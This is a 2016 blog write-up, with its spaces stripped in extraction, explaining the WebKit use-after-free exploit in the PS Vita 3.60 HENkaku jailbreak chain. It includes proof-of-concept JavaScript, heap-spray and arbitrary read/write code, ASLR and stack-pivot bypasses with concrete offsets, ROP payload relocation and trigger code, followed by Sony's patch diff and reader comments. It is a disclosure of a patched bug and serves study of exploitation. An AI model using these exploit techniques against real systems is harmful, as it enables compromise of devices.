8/20/2016
ExploitingWebKitonVita3.60
goback
ExploitingWebKitonVita3.60
Aug18,2016
Intro
ThisstartstheseriesofwriteupsforHENkakuexploitchain.IlltrynottospoiltheKOTH
challengetoomuchandonlywriteupthepartsthatarealreadyreverseengineered,clarifying
thedetailsthatotherpeoplemissed.However,inthecasethechallengebecomesstaleandno
progressismade,Illprobablypublishthewriteupanyway,sinceIalreadyhaveitwrittenand
itdbeawastetoletitrotinmyrepo.
ThePoC
OurtargetofchoiceforusermodecodeexecutionisWebKit.WebKithasaJavaScriptengine
whichhelpsalotwhenweneedtobypassASLR.WebbrowseronPSVitaalsodoesnot
requirePSNlogin,doesnotautoupdate,allowstoimplementaverysimpleexploitchain(visit
thissiteandpressthatbutton).Itsperfect.
Unlikeon3DS,whichhasnoASLRwhatsoever,VitaWebKithasanacceptableASLRwith
entropyof9bits,whichmakesbruteforceattacksextremelypainful(512reloadsonaverageto
triggertheexploit,thehorror!).Assuch,weneededabettervulnerabilitythanagenericuse
afterfree+vptroverwrite.
Thankstosomepeople,ImanagedtoobtainanicePoCscriptcrashingVitasbrowseronlatest
firmware.NotpresentanywhereonWebKitbugzilla/repo(maybeintherestrictedsection).
SowhatIstartedwithwasthisscript:
varalmost_oversize=0x3000;
varfoo=Array.prototype.constructor.apply(null,newArray(almost_oversize));
varo={};
o.toString=function(){foo.push(12345);return"";}
foo[0]=1;
foo[1]=0;
foo[2]=o;
foo.sort();
IfyourunitonaLinuxhostusingSonysWebKit,youwillseeasegmentationfault.Letslookat
itinadebugger:
https://blog.xyz.is/2016/webkit360.html
1/16
8/20/2016
ExploitingWebKitonVita3.60
Thread1"GtkLauncher"receivedsignalSIGSEGV,Segmentationfault.
0x00007ffff30bec35inJSC::WriteBarrierBase<JSC::Unknown>::set(this=0x7fff98ef8048,own
152
m_value=JSValue::encode(value);
(gdb)bt
#00x00007ffff30bec35inJSC::WriteBarrierBase<JSC::Unknown>::set(this=0x7fff98ef8048,
#10x00007ffff32cb9bfinJSC::ContiguousTypeAccessor<(unsignedchar)27>::setWithValue(
#20x00007ffff32c8809inJSC::JSArray::sortCompactedVector<(unsignedchar)27,JSC::Writ
at../../Source/JavaScriptCore/runtime/JSArray.cpp:1171
#30x00007ffff32c4933inJSC::JSArray::sort(this=0x7fff9911ff60,exec=0x7fff9d6e8078)
#40x00007ffff329c844inJSC::attemptFastSort(exec=0x7fff9d6e8078,thisObj=0x7fff9911f
at../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:623
#50x00007ffff329db4cinJSC::arrayProtoFuncSort(exec=0x7fff9d6e8078)at../../Source/
<therestdoesnotmatter>
Turnsout,ithitsunmappedmemorywhileexecutingJavaScriptArray.sortfunction.Butwhats
goingonhere?
Thebug
Letstakealookatthe JSArray::sort method
( Source/JavaScriptCore/runtime/JSArray.cpp ).Sinceourarrayisoftype
ArrayWithContiguous duetohowitwascreated:
Array.prototype.constructor.apply(null,newArray(almost_oversize)); ,wegetinto
the sortCompactedVector function.Heresitsfullimplementation:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
template<IndexingTypeindexingType,typenameStorageType>
voidJSArray::sortCompactedVector(ExecState*exec,ContiguousData<StorageType>
{
if(!relevantLength)
return;
VM&vm=exec>vm();
//ConvertingJavaScriptvaluestostringscanbeexpensive,sowedoitonceup
//Thisisaconsiderableimprovementoverdoingittwicepercomparison,though
//buffer.Besides,thisprotectsusfromcrashingifsomeobjectshavecustomt
//randomorotherwisechangingresults,effectivelymakingcomparefunctioninc
Vector<ValueStringPair,0,UnsafeVectorOverflow>values(relevantLength);
if(!values.begin()){
throwOutOfMemoryError(exec);
return;
}
Heap::heap(this)>pushTempSortVector(&values);
https://blog.xyz.is/2016/webkit360.html
2/16
8/20/2016
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
ExploitingWebKitonVita3.60
boolisSortingPrimitiveValues=true;
for(size_ti=0;i<relevantLength;i++){
JSValuevalue=ContiguousTypeAccessor<indexingType>::getAsValue(data,
ASSERT(indexingType!=ArrayWithInt32||value.isInt32());
ASSERT(!value.isUndefined());
values[i].first=value;
if(indexingType!=ArrayWithDouble&&indexingType!=ArrayWithInt32)
isSortingPrimitiveValues=isSortingPrimitiveValues&&value.isPrimitive
}
//FIXME:ThefollowingloopcontinuestocalltoStringonsubsequentvalueseve
//atoStringcallraisesanexception.
for(size_ti=0;i<relevantLength;i++)
values[i].second=values[i].first.toWTFStringInline(exec);
if(exec>hadException()){
Heap::heap(this)>popTempSortVector(&values);
return;
}
//FIXME:Sincewesortbystringvalue,afastalgorithmmightbetousearadi
//thanO(NlogN).
#ifHAVE(MERGESORT)
if(isSortingPrimitiveValues)
qsort(values.begin(),values.size(),sizeof(ValueStringPair),compareByStrin
else
mergesort(values.begin(),values.size(),sizeof(ValueStringPair),compareByS
#else
//FIXME:Theqsortlibraryfunctionislikelytonotbeastablesort.
//ECMAScript262doesnotspecifyastablesort,butinpractice,browsersperf
qsort(values.begin(),values.size(),sizeof(ValueStringPair),compareByStringPai
#endif
//IfthetoStringfunctionchangedthelengthofthearrayorvectorstorage,
//increasethelengthtohandletheorignalnumberofactualvalues.
switch(indexingType){
caseArrayWithInt32:
caseArrayWithDouble:
caseArrayWithContiguous:
ensureLength(vm,relevantLength);
break;
caseArrayWithArrayStorage:
https://blog.xyz.is/2016/webkit360.html
3/16
8/20/2016
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
ExploitingWebKitonVita3.60
if(arrayStorage()>vectorLength()<relevantLength){
increaseVectorLength(exec>vm(),relevantLength);
ContiguousTypeAccessor<indexingType>::replaceDataReference(&data,
}
if(arrayStorage()>length()<relevantLength)
arrayStorage()>setLength(relevantLength);
break;
default:
CRASH();
}
for(size_ti=0;i<relevantLength;i++)
ContiguousTypeAccessor<indexingType>::setWithValue(vm,this,data,i,
Heap::heap(this)>popTempSortVector(&values);
}
ThisfunctiontakesthevaluesfromtheJSarray,putsthemintoatemporaryvector,sortsthe
vector,andthenputsthevaluesbackintotheJSarray.
Online37ina for loop,foreveryelementits toString methodiscalled.Whenitscalled
forourobject o ,whathappensnextis:
function(){
foo.push(12345);
return"";
}
Anintegerispushedintothearraythatisbeingsorted.Thiscausesthearrayelementstoget
reallocated.Online81,thesortedelementsarewrittenbackintothearray,however,the data
pointerisneverupdatedwiththenewreallocatedvalue.
metadata
Toillustrateit:
metadata
foo
foo+12345
data
Greyareahereisfree/unallocatedmemory.OnLinuxitactuallyisunmappedafterreallocis
called.Meanwhile,the data stillpointstotheoldmemorylocation.Asaresult,theweb
browsergetsasegmentationfaulttryingtowritetounmappedmemory.
https://blog.xyz.is/2016/webkit360.html
4/16
8/20/2016
ExploitingWebKitonVita3.60
OutofboundsRW
Dependingonthecontents, JSArray objectsmightbestoreddifferentlyinmemory.However,
onesweareoperatingon,arestoredcontinuouslyasmetadataheader(inyellow)plusarray
contents(ingreen).
Thecontentsarejustavectorof JSValue structures.
unionEncodedValueDescriptor{
int64_tasInt64;
doubleasDouble;
struct{
int32_tpayload;
int32_ttag;
}asBits;
};
Themetadataheaderstorestwointerestingfields:
uint32_tm_publicLength;//Themeaningofthisfielddependsonthearraytype,butfor
uint32_tm_vectorLength;//Thelengthoftheindexedpropertystorage.Theactualsize
Ourgoalnowistooverwritebothofthemandextendthearraybeyondofwhatisactually
allocated.
Toachievethat,letsmodifythe o.toString method:
varnormal_length=0x800;
varfu=newArray(normal_length);
vararrays=newArray(0x100);
o.toString=function(){
foo.push(12345);
for(vari=0;i<arrays.length;++i){
varbar=Array.prototype.constructor.apply(null,fu);
bar[0]=0;
bar[1]=1;
bar[2]=2;
arrays[i]=bar;
return"";
}
Ifwegetlucky,hereswhathappens:
https://blog.xyz.is/2016/webkit360.html
5/16
ExploitingWebKitonVita3.60
bar
bar
metadata
bar
metadata
foo
metadata
metadata
metadata
8/20/2016
foo+12345
data
Inthisexample(thatdoesntreflectactuallarraysize),whenthesortedvaluesarewrittenback
usingthe data pointer,metadataheadersofbothsecondandthird bar getoverwritten.
Whatdoweoverwritethemwith?Remember,thatthegreenareaisthevectorof JSValue
objects.Every JSValue objectis8bytes.Butifwefill foo with,forexample, 0x80000000 ,
weonlycontrol4bytes,andtherestisusedupforthe tag .Whatsa tag ?
enum{Int32Tag=0xffffffff};
enum{BooleanTag=0xfffffffe};
enum{NullTag=0xfffffffd};
enum{UndefinedTag=0xfffffffc};
enum{CellTag=0xfffffffb};
enum{EmptyValueTag=0xfffffffa};
enum{DeletedValueTag=0xfffffff9};
enum{LowestTag=DeletedValueTag};
ItshowWebKitJavaScriptCorepacksdifferenttypesintoasingle JSValue structure:itcanbe
anint,aboolean,acell(pointertoanobject),null,undefined,oradouble.Soifwewrite
54321 ,weonlycontrolhalfofthestructure,andtheotherhalfissetto Int32Tag or
0xffffffff .
However,wecanalsowrite double values,like 54321.0 .Thiswaywecontrolall8bytesof
thestructure,butthereareotherlimitations(Somefloatingpointnormalizationcrapdoesnot
allowfortrulyarbitraryvaluestobewritten.Otherwise,youwouldbeabletocrafta CellTag
andsetpointertoanarbitraryvalue,thatwouldbehorrible.Interestingly,beforeitdidallowthat,
whichiswhattheveryfirstVitaWebKitexploitused!CVE20101807).
Soletswrite double valuesinstead.
foo[0]=o;
varlen=u2d(0x80000000,0x80000000);
for(vari=1;i<0x2000;++i)
foo[i]=len;
foo.sort();
u2d / d2u aresmallhelperstoconvertbetweenapairof int anda double :
https://blog.xyz.is/2016/webkit360.html
6/16
8/20/2016
ExploitingWebKitonVita3.60
var_dview=null;
//u2d/d2utakenfromPSA20130903
//wrapstwouint32sintodoubleprecision
functionu2d(low,hi)
{
if(!_dview)_dview=newDataView(newArrayBuffer(16));
_dview.setUint32(0,hi);
_dview.setUint32(4,low);
return_dview.getFloat64(0);
}
functiond2u(d)
{
if(!_dview)_dview=newDataView(newArrayBuffer(16));
_dview.setFloat64(0,d);
return{low:_dview.getUint32(4),
hi:_dview.getUint32(0)};
}
Assuch,ifwenowlookat arrays wewillfindafew JSArray objectsthatareextended
beyondtheirrealboundaryandhavetheirlengthsetto 0x80000000 .
Interestingly,thissuccessfullycorruptsaJSArrayobjectonVitabutcrashesonLinuxhittinga
guardpage.ButthisdoesntmatterbecausewereexploitingVita,notLinux.
Nowwhenwewritetooneofcorrupted bar objects,wecanachieveanoutofbounds
read/writewhichisawesome!ButletsupgradeittoatrulyarbitraryRW.
AnastutereadermightnoticenowthatsinceVitaisa32bitconsoleandwesetlengthto
0x80000000 andevery JSValue is8bytes,wealreadyinfacthavearbitraryRW.However,
wearestillwritingtooffsetsfromtheoriginal bar vectorbase,andhaventleakedanyheap
addressesyet.Inaddition,wecanonlywrite double values,whichissuperinconvenient.
ArbitraryRW
Toobtainarbitraryread/write,Iusedthesametrickasusedbythe2.003.20WebKitexploit,
describedhere.
Spraybuffers:
buffers=newArray(spray_size);
buffer_len=0x1344;
for(vari=0;i<buffers.length;++i)
buffers[i]=newUint32Array(buffer_len/4);
Find Uint32Array bufferinmemory.Startsearchingatsomearbitraryoffsetbeforethe
corruptedbuffers(called arr here)elements.
https://blog.xyz.is/2016/webkit360.html
7/16
8/20/2016
ExploitingWebKitonVita3.60
varstart=0x200000000x11000;
for(;;start){
if(arr[start]!=0){
_dview.setFloat64(0,arr[start]);
if(_dview.getUint32(0)==buffer_len/4){//FoundUint32Array
_dview.setUint32(0,0xEFFFFFE0);
arr[start]=_dview.getFloat64(0);//changebuffersize
_dview.setFloat64(0,arr[start2]);
heap_addr=_dview.getUint32(4);//leaksomeheapaddress
_dview.setUint32(4,0)
_dview.setUint32(0,0x80000000);
arr[start2]=_dview.getFloat64(0);//changebufferoffset
break;
Findcorrupted Uint32Array :
corrupted=null;
for(vari=0;i<buffers.length;++i){
if(buffers[i].byteLength!=buffer_len){
corrupted=buffers[i];
break;
}
}
varu32=corrupted;
NowthatwehavetrulyarbitraryRW,andwehaveleakedsomeheapaddress,whatsnextis:
Codeexecution
Again,theoldtrickwith textarea objectsisusedhere(whyinventnewthings?)First,modify
theoriginal Uint32Array heapspraytointerleave textarea objects:
spray_size=0x4000;
textareas=newArray(spray_size);
buffers=newArray(spray_size);
buffer_len=0x1344;
textarea_cookie=0x66656463;
textarea_cookie2=0x55555555;
for(vari=0;i<buffers.length;++i){
buffers[i]=newUint32Array(buffer_len/4);
vare=document.createElement("textarea");
https://blog.xyz.is/2016/webkit360.html
8/16
8/20/2016
ExploitingWebKitonVita3.60
e.rows=textarea_cookie;
textareas[i]=e;
Usingcorrupted Uint32Array object,finda textarea inmemory:
varsome_space=heap_addr;
search_start=heap_addr;
for(varaddr=search_start/4;addr<search_start/4+0x4000;++addr){
if(u32[addr]==textarea_cookie){
u32[addr]=textarea_cookie2;
textarea_addr=addr*4;
break;
}
}
/*
ChangetherowsoftheElementobjectthenscanthearrayof
sprayedobjectstofindanobjectwhoserowshavebeenchanged
*/
varfound_corrupted=false;
varcorrupted_textarea;
for(vari=0;i<textareas.length;++i){
if(textareas[i].rows==textarea_cookie2){
corrupted_textarea=textareas[i];
break;
}
}
Nowwehavetwoviewsintothesame textarea :wecanmodifyitdirectlyinmemoryusing
our u32 object,andwecancallitsfunctionsfromJavaScript.Sotheideaistooverwritethe
vptrusingviaourmemoryaccessandthencallthemodifiedfunctiontableviaJavaScript.
Mitigation1:ASLR
RememberthatVitahasASLR,whichiswhywehadtocomplicatetheexploitsomuch.But
witharbitraryRWwecanjustleak textarea vptranddefeatASLRcompletely:
functionread_mov_r12(addr){
first=u32[addr/4];
second=u32[addr/4+1];
return((((first&0xFFF)|((first&0xF0000)>>4))&0xFFFF)|((((second
}
varvtidx=textarea_addr0x70;
vartextareavptr=u32[vtidx/4];
https://blog.xyz.is/2016/webkit360.html
9/16
8/20/2016
ExploitingWebKitonVita3.60
SceWebKit_base=textareavptr0xabb65c;
SceLibc_base=read_mov_r12(SceWebKit_base+0x85F504)0xfa49;
SceLibKernel_base=read_mov_r12(SceWebKit_base+0x85F464)0x9031;
ScePsp2Compat_base=read_mov_r12(SceWebKit_base+0x85D2E4)0x22d65;
SceWebFiltering_base=read_mov_r12(ScePsp2Compat_base+0x2c688c)0x9e5;
SceLibHttp_base=read_mov_r12(SceWebFiltering_base+0x3bc4)0xdc2d;
SceNet_base=read_mov_r12(SceWebKit_base+0x85F414)0x23ED;
SceNetCtl_base=read_mov_r12(SceLibHttp_base+0x18BF4)0xD59;
SceAppMgr_base=read_mov_r12(SceNetCtl_base+0x9AB8)0x49CD;
Letstalkabitaboutcodeexecution.OnVitatheresnoJITanditsimpossibletoallocateRWX
memory(OnlyallowedfromthePlayStationMobileapp).Sowehavetowritethewholepayload
inROP.
Theoldexploitsusedsomethingcalled JSoS whichisdescribedhere.However,herethe
browserbecomesreallyunstableaftercorruptingthe JSArray object,sowewanttorunas
littleJavaScriptaspossible.
Asaresult,anewversionofroptoolwaswrittenbyDaveewhichsupportedASLR.Thebasic
ideahereisthatsomewords(awordis4bytes)inroptooloutputnowhaverelocation
informationassignedtothem.Afterrelocatingthepayload,whichisjustaddingdifferentbases
( SceWebKit_base / SceLibc_base /etc)tothesewords,wecanlaunchtheresultingROPchain
normally.
Mitigation2:Stackpivotprotection
Sinceunknownfirmwareversion,thereisnowanadditionalmitigationimplemented:sometimes
thekernelwillcheckthatyourthreadstackpointerisinfactinsideitsstack.Ifthisisnotthe
case,thewholeapplicationgetskilled.
Tobypassthis,weneedtoplantourROPchainintothethreadstack.Andtodothat,weneed
toknowthreadstackvirtualaddress.AndwedontknowitbecauseASLR.
However,wehavearbitraryRW.Theresatonofwaystoleakthestackpointer.Iusedthe
setjmp function.
Hereshowwecallit:
//copyvtable
for(vari=0;i<0x40;i++)
u32[some_space/4+i]=u32[textareavptr/4+i];
u32[vtidx/4]=some_space;
//backupourobj
for(vari=0;i<0x30;++i)
backup[i]=u32[vtidx/4+i];
https://blog.xyz.is/2016/webkit360.html
10/16
8/20/2016
ExploitingWebKitonVita3.60
//callsetjmpandleakstackbase
u32[some_space/4+0x4e]=SceLibc_base+0x14070|1;//setjmp
corrupted_textarea.scrollLeft=0;//callsetjmp
Nowour corrupted_textarea isoverwritteninmemorywith jmp_buf ,whichsomewhere
containsthestackpointer.Later,werestoretheoriginalcontentsasfollows.Thisisdoneso
thatJavaScriptdoesnotcrashthebrowserwhenweattempttodoanythingwiththecorrupted
textarea object:
//restoreourobj
for(vari=0;i<0x30;++i)
u32[vtidx/4+i]=backup[i];
Unfortunately,ifwelookatthe setjmp implementationin SceLibc ,wegethitwithyet
anotherexploitmitigation:
ROM:81114070setjmp
ROM:81114070PUSH{R0,LR}
ROM:81114072BLsub_81103DF2//Returnshighqualityrandom
ROM:81114076POP{R1,R2}
ROM:81114078MOVLR,R2
ROM:8111407AMOVR3,SP
ROM:8111407CSTMIA.WR1!,{R4R11}
ROM:81114080EORSR2,R0//LRisXOR'edwithacookie
ROM:81114082EORSR0,R3//SPisXOR'edwiththesamecookie
ROM:81114084STMIAR1!,{R0,R2}
ROM:81114086VSTMIAR1!,{D8D15}
ROM:8111408AVMRSR2,FPSCR
ROM:8111408ESTMIAR1!,{R2}
ROM:81114090MOV.WR0,#0
ROM:81114094BXLR
Sobasically:
stored_LR=LR^cookie
stored_SP=SP^cookie
Canyouseewherethisisgoing?Wealreadyknow SceWebKit_base ,soweknowthetrue
valueof LR .Usingthemagicofdiscretealgebra:
cookie=stored_LR^LR
SP=stored_SP^cookie
SP=stored_SP^(stored_LR^LR)
Or,inJavaScript:
https://blog.xyz.is/2016/webkit360.html
11/16
8/20/2016
ExploitingWebKitonVita3.60
sp=(u32[vtidx/4+8]^((u32[vtidx/4+9]^(SceWebKit_base+0x317929))>>>0))
sp=0xef818;//adjusttogetSPbase
NowwecanwriteourROPpayloadintothethreadstackandpivottoitwithouttheapplication
beingkilled!
Finally,CodeExecution
First,werelocatetheROPpayload.Remember,howwehavethepayloadandrelocs.Ifyou
lookatpayload.js,thisiswhatyouwillsee:
payload=[2119192402,65537,0,0,1912//anditgoeson...
relocs=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,//...
Everynumberfromthe relocs arrayindicatedhowa payload membershouldberelocated.
Forexample,0meansnorelocation,1isadd rop_data_base ,2isadd SceWebKit_base ,3is
add SceLibKernel_base andsoon.
(AroptoolgeneratedROPchainhastwosections:codeanddata.codeisjusttheROPstack.
dataisstufflikestringsorbuffers. rop_data_base isvaddrofdata. rop_code_base isvaddr
ofcode)
Thenextlooprelocatesthepayloadstraightintothethreadstack:
//relocatethepayload
rop_data_base=sp+0x40;
rop_code_base=sp+0x10000;
addr=sp/4;
//Sincerelocsareappliedtothewholeropbinary,notjustcode/datasections,werep
//thisbehaviorhere.However,wesplititintodatasection(placedatthetopofthe
//andcodesection(placedatstack+somebigoffset)
for(vari=0;i<payload.length;++i,++addr){
if(i==rop_header_and_data_size)
addr=rop_code_base/4;
switch(relocs[i]){
case0:
u32[addr]=payload[i];
break
case1:
u32[addr]=payload[i]+rop_data_base;
break;
/*
skippedmostrelocs
*/
default:
https://blog.xyz.is/2016/webkit360.html
12/16
8/20/2016
ExploitingWebKitonVita3.60
alert("wtf?");
alert(i+""+relocs[i]);
Inthisloop,wesplitthepayloadintotwoparts:codeanddatasections.Wedontwantcodeto
touchdatabecauseiftheyareclose,andcodeisafterdata(whichisthecaseforroptool
generatedROPchains),whenafunctioniscalled,itmightdamageapartofthedatasection
(rememberwhichdirectionthestackgrowsin,andwhichdirectiontheROPchaingoes).
Sooncewearedonerelocatingthedatasection: if(i==rop_header_and_data_size) ,we
switchtorelocatingthecodesection: addr=rop_code_base/4 .
header
header
data
data
code
code
OntheleftishowtheROPchainlookslikewhileitsstoredinthe payload array.Ontheright
ishowtheROPchainiswrittenintothestack.
Finally,letstriggertheROPchain:
//54c8:e891a916ldmr1,{r1,r2,r4,r8,fp,sp,pc}
u32[some_space/4+0x4e]=SceWebKit_base+0x54c8;
varldm_data=some_space+0x100;
u32[ldm_data/4+5]=rop_code_base;//sp
u32[ldm_data/4+6]=SceWebKit_base+0xc048a|1;//pc=pop{pc}
//Thisalert()isusedtodistinguishbetweenthewebkitexploitfail
//andsecondstageexploitfail
//Ifyoudon'tseeit,thewebkitexploitfailed
//Ifyouseeitandthenthebrowsercrashes,thesecondstagefailed
alert("WelcometoHENkaku!");
corrupted_textarea.scrollLeft=ldm_data;//triggerropchain,r1=arg
https://blog.xyz.is/2016/webkit360.html
13/16
8/20/2016
ExploitingWebKitonVita3.60
//Youwon'tseethisalert()unlesssomethingwentterriblywrong
alert("that'sit");
When corrupted_textarea.scrollLeft=ldm_data isdone,ourLDMgadgetwillgetcalled,
duetooverwrittenvtable. R1 willbe ldm_data ,soitwillload SP=rop_code_base and PC
=pop{pc} fromthisbufferandassuchwillkickstarttheROPchain.
Bonus:HowSonypatchedit
SonyregularlyuploadsnewsourcecodeoftheirWebKit,asrequestedbyLGPL,tothispage.
(Unlesstheydonot,inwhichcasetheymightrequireafriendlypokeoveremail).
Diffingthesourcecodebetween3.60and3.61revealsthefollowing(Uselessstuffomitted):
diffr360/webkit_537_73/Source/JavaScriptCore/runtime/JSArray.cpp361/webkit_537_73/So
1087,1096c1087,1123
}
};
template<IndexingTypeindexingType,typenameStorageType>
voidJSArray::sortCompactedVector(ExecState*exec,ContiguousData<StorageType>data,u
{
if(!relevantLength)
return;
+}
+};
+
+template<>
+ContiguousJSValuesJSArray::storage<ArrayWithInt32,WriteBarrier<Unknown>>()
+{
+returnm_butterfly>contiguousInt32();
+}
+
+template<>
+ContiguousDoublesJSArray::storage<ArrayWithDouble,double>()
+{
+returnm_butterfly>contiguousDouble();
+}
+
+template<>
+ContiguousJSValuesJSArray::storage<ArrayWithContiguous,WriteBarrier<Unknown>>()
+{
+returnm_butterfly>contiguous();
+}
+
https://blog.xyz.is/2016/webkit360.html
14/16
8/20/2016
ExploitingWebKitonVita3.60
+template<>
+ContiguousJSValuesJSArray::storage<ArrayWithArrayStorage,WriteBarrier<Unknown>>()
+{
+ArrayStorage*storage=m_butterfly>arrayStorage();
+ASSERT(!storage>m_sparseMap);
+returnstorage>vector();
+}
+
+template<IndexingTypeindexingType,typenameStorageType>
+voidJSArray::sortCompactedVector(ExecState*exec,ContiguousData<StorageType>data,u
+{
+data=storage<indexingType,StorageType>();
+
+if(!relevantLength)
+return;
+
1167,1172c1194,1200
CRASH();
}
for(size_ti=0;i<relevantLength;i++)
ContiguousTypeAccessor<indexingType>::setWithValue(vm,this,data,i,values[i
+CRASH();
+}
+
+data=storage<indexingType,StorageType>();
+for(size_ti=0;i<relevantLength;i++)
+ContiguousTypeAccessor<indexingType>::setWithValue(vm,this,data,i,values[i
+
Theynowupdatethe data pointerbeforewritingvaluesintoit.Soevenafterthearraygets
reallocated,itsstillwritingtopropermemory.Thisiswhatcausesthe alert("restartthe
browser") errorifyouattempttorunHENkakuon3.61.Goodjob,Sony.
Conclusion
Thatsitfortoday!IhopeyouenjoyedthiswriteupasmuchasIhatedwritingtheexploit.Later,
inafewmonths/years/centuries,Illbringyousomemorenicewriteups,solookforwardtoit.
SinceIwrotemostoftheHENkakuexploitchain,ImbannedfromparticipatingintheKOTH
challenge:(,butatleastyougettoenjoythewriteups:).
6Comments
https://blog.xyz.is/2016/webkit360.html
15/16
8/20/2016
ExploitingWebKitonVita3.60
TypeCommentHere(atleast3chars)
Name(optional)
Email(optional)
Website(optional)
Submit
Anonymous 15hoursago
ThiswriteupisfantasticandIfeellikeI'velearnedalotinreadingit.Thanksfortaking
thetimetodothis.
2
Reply
Ayu 13hoursago
Dittohere.Itsinterestingtoseehowthesekindofthingshappen.
2
Reply
m6mb3rtx 10hoursago
Greatarticle!
LookingforwardtoreadthenextpartoftheHENkakuseries(nicenameXD),doesitendwhen
yougetr00taccess?
"Goodjob,Sony."LOL
|
Reply
Wololo 5hoursago
Thanksforthewriteup,superappreciated
|
Reply
Casavult 4hoursago
Amazingread.Thanksforthiswriteup!
|
Reply
MilegGai 3hoursago
IlikedreadingthiseventhoughIhavenoideawhat'sgoingon.
|
Reply
SubscribeviaRSS|GitHub
https://blog.xyz.is/2016/webkit360.html
16/16